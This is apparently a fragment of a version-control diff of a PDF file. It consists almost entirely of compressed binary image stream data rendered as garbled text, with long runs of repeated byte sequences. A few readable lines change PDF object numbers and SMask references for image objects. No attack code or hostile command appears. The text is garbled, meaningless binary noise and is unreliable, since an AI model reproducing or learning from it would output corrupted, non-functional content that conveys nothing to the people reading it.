P8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lpرcAփ[ aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lĎ ða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  vX` Fp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða؀ڱcAփ[aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68 7 endstream endobj -1351 0 obj +2228 0 obj << /Type /XObject /Subtype /Image @@ -136744,7 +158673,7 @@ endobj /Columns 4961 /Colors 3 >> -/SMask 1352 0 R +/SMask 2229 0 R /Length 3104347 >> stream @@ -148603,7 +170532,7 @@ V* X6::rškJ> -/SMask 1354 0 R +/SMask 2231 0 R /Length 3065065 >> stream @@ -160107,7 +182036,7 @@ y {Ȉ?U+ endstream endobj -1354 0 obj +2231 0 obj << /Filter /FlateDecode /Type /XObject @@ -160127,7 +182056,7 @@ stream x1 0gB*ؽpm9lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lpرcAփ[ aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lĎ ða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  vX` Fp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68 